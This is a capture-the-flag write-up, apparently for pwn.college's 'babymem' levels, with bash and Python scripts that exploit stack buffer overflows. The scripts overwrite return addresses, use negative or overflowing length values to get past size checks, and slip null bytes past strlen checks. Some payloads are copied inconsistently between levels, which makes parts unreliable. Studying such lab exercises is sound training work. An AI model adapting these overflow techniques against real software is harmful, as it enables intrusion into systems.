

# Memory Errors

Run this command `echo "set disassembly-flavor intel" > ~/.gdbinit` to have intel syntax in gdb

**memory.sh** `chmod +x ./memory.sh`

```
1  #!/bin/bash
2
3  file="/challenge/*"
4
5  payload_size=$1
6  string=$2
7  append_string=$(echo -e "$string")
8
9  string=$(printf '1%.0s' $(seq 1 $payload_size))
10
11 if [[ -n "$append_string" ]]; then
12     string="${string}${append_string}"
13 fi
14
15 payload_size=$(( $payload_size + ${#append_string} ))
16
17 printf "$payload_size $string" | $file
18
19 echo -e '\nThe provided string is: ' $string ', length: ' $payload_size
```

## Level 1.0

`/challenge/babymem_level1.0`

On the last line of the output it's written:

The "win" variable is stored at 0XXXXXXXXX, \$n bytes after the start of your input buffer.

The payload size will be  $n + 1$ . After that just type  $n + 1$  characters.

## Level 1.1

`./memory.sh 49`

at `rbp-0x48` is located the win variable, at `challenge+260`

## Level 2.0

`./memory.sh 465`

## Level 2.1

`./memory.sh 513`

## Level 3.0

`./memory.sh 72 "\x35\x16\x40"`

## Level 3.1

```
./memory.sh 104 "\x71\x1a\x40"
```

[illegible]

Easier alternative: **memory.py**

```
1 import subprocess
2
3 file = "/challenge/babymem_level3.1"
4
5 payload = b"107\n" # 104 + 3
6 payload += b"A" * 104
7 payload += b"\x71\x1a\x40"
8
9 process = subprocess.Popen(file, stdin=subprocess.PIPE)
10 process.communicate(payload)
```

```
python memory.py
```

## Level 4.0

Inputting a negative integer works because the check in the `challenge` procedure is always verified (any negative number is smaller than whatever positive constant is being used to do the check). This number, interpreted as a two's complement by the check, is instead read like a giant number by the `read` syscall that gets the payload text.

For example, if I input -2 as my payload length, it's saved in the stack as a 32-bit number in two's complement: 0xFFFFFFFF. This number is then read by the `read` syscall like  $2^{32} - 1$

How is the check implemented here? [...]

**memory.sh**

```
1 #!/bin/bash
2
3 file="/challenge/*"
4
5 payload_size=$1
6 payload_size=$((payload_size * -1))
7 append_string=$(echo -e "\x1b\x22\x40")
8
9 string=$(printf '1%.0s' $(seq 1 $((payload_size * -1))))
10
11 if [[ -n "$append_string" ]]; then
12     string="${string}${append_string}"
13 fi
14
15 printf "%d %s" "$payload_size" "$string" | $file
16
17 echo -e '\n\nThe provided string is: ' $string ', length: ' $payload_size
```

```
./memory.sh 120
```

Easier alternative: **memory.py**

```
1 import subprocess
2
3 file = "/challenge/babymem_level4.0"
4
5 payload = b"-1\n"
6 payload += b"A" * 120
7 payload += b"\x1b\x22\x40"
8
9 process = subprocess.Popen(file, stdin=subprocess.PIPE)
10 process.communicate(payload)
```

```
python memory.py
```

## Level 4.1

```
1 #!/bin/bash
2
3 file="/challenge/*"
4
5 payload_size=$1
6 payload_size=$((payload_size * -1))
7 append_string=$(echo -e "\xf3\x15\x40")
8
9 string=$(printf '1%.0s' $(seq 1 $((payload_size * -1))))
10
11 if [[ -n "$append_string" ]]; then
12     string="${string}${append_string}"
13 fi
14
15 printf "%d %s" "$payload_size" "$string" | $file
16
17 echo -e '\nThe provided string is: ' $string ', length: ' $payload_size
```

```
./memory.sh 56
```

Easier alternative: **memory.py**

```
1 import subprocess
2
3 file = "/challenge/babymem_level4.1"
4
5 payload = b"-1\n"
6 payload += b"A" * 120
7 payload += b"\x1b\x22\x40"
8
9 process = subprocess.Popen(file, stdin=subprocess.PIPE)
10 process.communicate(payload)
```

```
python memory.py
```

## Level 5.0

$2 * 2147483648 (2^{32}/2)$  because int32 accepts at maximum  $2^{32} - 1$

The concept is very similar to the one used in the previous level.

```
1  #!/bin/bash
2
3  file="/challenge/*"
4
5  payload_n=2
6  payload_size=$1
7  overflowing_payload_size=2147483648
8  append_string=$(echo -e "\xb5\x1b\x40")
9
10 string=$(printf '1%.0s' $(seq 1 $payload_size))
11
12 if [[ -n "$append_string" ]]; then
13     string="${string}${append_string}"
14 fi
15
16 payload_size=$(( $payload_size + ${#append_string} ))
17
18 printf "%d %d %s" "$payload_n" "$overflowing_payload_size" "$string" | $file
19
20 echo -e '\n\nThe provided string is: ' $string ', length: ' $payload_size
```

```
./memory5.sh 120
```

Easier alternative: **memory.py**

```
1  import subprocess
2
3  file = "/challenge/babymem_level5.0"
4
5  payload = b"2\n2147483648\n" # 2 * 2^31
6  payload += b"A" * 120
7  payload += b"\xb5\x1b\x40"
8
9  process = subprocess.Popen(file, stdin=subprocess.PIPE)
10 process.communicate(payload)
```

```
python memory.py
```

## Level 5.1

```
1  #!/bin/bash
2  file="/challenge/*"
3
4  payload_n=2
5  payload_size=$1
6  overflowing_payload_size=2147483648
7  append_string=$(echo -e "\x39\x18\x40")
8  string=$(printf '1%.0s' $(seq 1 $payload_size))
9
10 if [[ -n "$append_string" ]]; then
11     string="${string}${append_string}"
12 fi
13
14 payload_size=$(( $payload_size + ${#append_string} ))
15
16 printf "%d %d %s" "$payload_n" "$overflowing_payload_size" "$string" | $file
17
18 echo -e '\nThe provided string is: ' $string ', length: ' $payload_size
```

```
./memory5.sh 56
```

Easier alternative: **memory.py**

```
1  import subprocess
2
3  file = "/challenge/babymem_level5.1"
4
5  overflow = 2**31
6
7  payload = f"2\n{overflow}\n".encode()
8  payload += b"A" * 56
9  payload += b"\x39\x18\x40"
10
11 process = subprocess.Popen(file, stdin=subprocess.PIPE)
12 process.communicate(payload)
```

```
python memory.py
```

## Level 6.0

```
./memory.sh 72 "\xcc\x1d\x40"
```

Easier alternative: **memory.py**

```
1  import subprocess
2
3  file = "/challenge/babymem_level6.0"
4
5  payload = b"75\n"
6  payload += b"A" * 72
7  payload += b"\xcc\x1d\x40"
8
9  process = subprocess.Popen(file, stdin=subprocess.PIPE)
10 process.communicate(payload)
```

```
python memory.py
```

## Level 6.1

```
./memory.sh 104 "\x7d\x22\x40"
```

Easier alternative: **memory.py**

```
1 import subprocess
2
3 file = "/challenge/babymem_level6.1"
4
5 payload = b"107\n"
6 payload += b"A" * 104
7 payload += b"\x7d\x22\x40"
8
9 process = subprocess.Popen(file, stdin=subprocess.PIPE)
10 process.communicate(payload)
```

```
python memory.py
```

## Level 7.0

**script.py**

```
1 import os
2 import sys
3 import struct
4 import subprocess
5
6 challenge_dir = "/challenge"
7 file = os.path.join(challenge_dir, os.listdir(challenge_dir)[0])
8
9 buffer_size = int(sys.argv[1])
10 target_address = 0x23bc
11
12 payload = b"A" * (buffer_size)
13 target_struct = struct.pack("<H", target_address) # H 2byte; I 4byte
14 payload += target_struct
15 payload_len = len(payload)
16
17 def execute_attack():
18     try:
19         process = subprocess.Popen([file], stdin=subprocess.PIPE)
20         input_data = f"{payload_len}".encode() + b"\n" + payload
21         print(input_data)
22         process.communicate(input=input_data)
23     except Exception as e:
24         print(f"error: {e}")
25
26 if __name__ == "__main__":
27     print(f"Payload generato ({len(payload)} bytes).")
28     print(f"Indirizzo di iniezione: {hex(target_address)}")
29     execute_attack()
```

```
python script.py 136
```

 run it until you get the fourth byte right (1 in 16 chance)

Easier alternative: **memory.py**

```
1 import subprocess
2
3 file = "/challenge/babymem_level17.0"
4
5 payload = b"138\n"
6 payload += b"A" * 136
7 payload += b"\xbc\x13"
8
9 while True:
10     process = subprocess.Popen(file, stdin=subprocess.PIPE)
11     process.communicate(payload)
```

```
python memory.py | grep pwn
```

## Level 7.1

```
target_address = 0x2eaf
```

```
python script.py 88 run it until you get the fourth byte right (1 in 16 chance)
```

Easier alternative: **memory.py**

```
1 import subprocess
2
3 file = "/challenge/babymem_level17.1"
4
5 payload = b"90\n"
6 payload += b"A" * 88
7 payload += b"\xaf\x1e"
8
9 while True:
10     process = subprocess.Popen(file, stdin=subprocess.PIPE)
11     process.communicate(payload)
```

```
python memory.py | grep pwn
```

## Level 8.0

### script8.py

```
1 import os
2 import sys
3 import struct
4 import subprocess
5
6 challenge_dir = "/challenge"
7 file = os.path.join(challenge_dir, os.listdir(challenge_dir)[0])
8
9 buffer_size = int(sys.argv[1])
10 target_address = 0x2989
11
12 payload = b"A\x00" * (buffer_size)
13 target_struct = struct.pack("<H", target_address) # H 2byte; I 4byte
14 payload += target_struct
15 payload_len = len(payload)
16
17 def execute_attack():
18     try:
19         process = subprocess.Popen([file], stdin=subprocess.PIPE)
20         input_data = f"{payload_len}".encode() + b"\n" + payload
21         print(input_data)
22         process.communicate(input=input_data)
23     except Exception as e:
24         print(f"error: {e}")
25
26 if __name__ == "__main__":
27     print(f"Payload generato ({len(payload)} bytes).")
28     print(f"Indirizzo di iniezione: {hex(target_address)}")
29     execute_attack()
```

python script8.py 36 run it until you get the fourth byte right (1 in 16 chance)

### Easier alternative: memory.py

```
1 import subprocess
2
3 file = "/challenge/babymem_level8.0"
4
5 payload = b"74\n"
6 payload += b"\x00" * 72
7 payload += b"\x89\x19"
8
9 while True:
10     process = subprocess.Popen(file, stdin=subprocess.PIPE)
11     process.communicate(payload)
```

python memory.py | grep pwn

This works because the check is done using strlen, which stops when it finds a string terminator like /x00



## Level 8.1

```
put target_address = 0x22e5
```

```
python script8.py 76
```

 run it until you get the fourth byte right (1 in 16 chance)

Easier alternative: **memory.py**

```
1  import subprocess
2
3  file = "/challenge/babymem_level8.1"
4
5  payload = b"138\n"
6  payload += b"\x00" * 136
7  payload += b"\xe5\x12"
8
9  while True:
10     process = subprocess.Popen(file, stdin=subprocess.PIPE)
11     process.communicate(payload)
```

```
python memory.py | grep pwn
```

```
python memory.py | grep pwn
```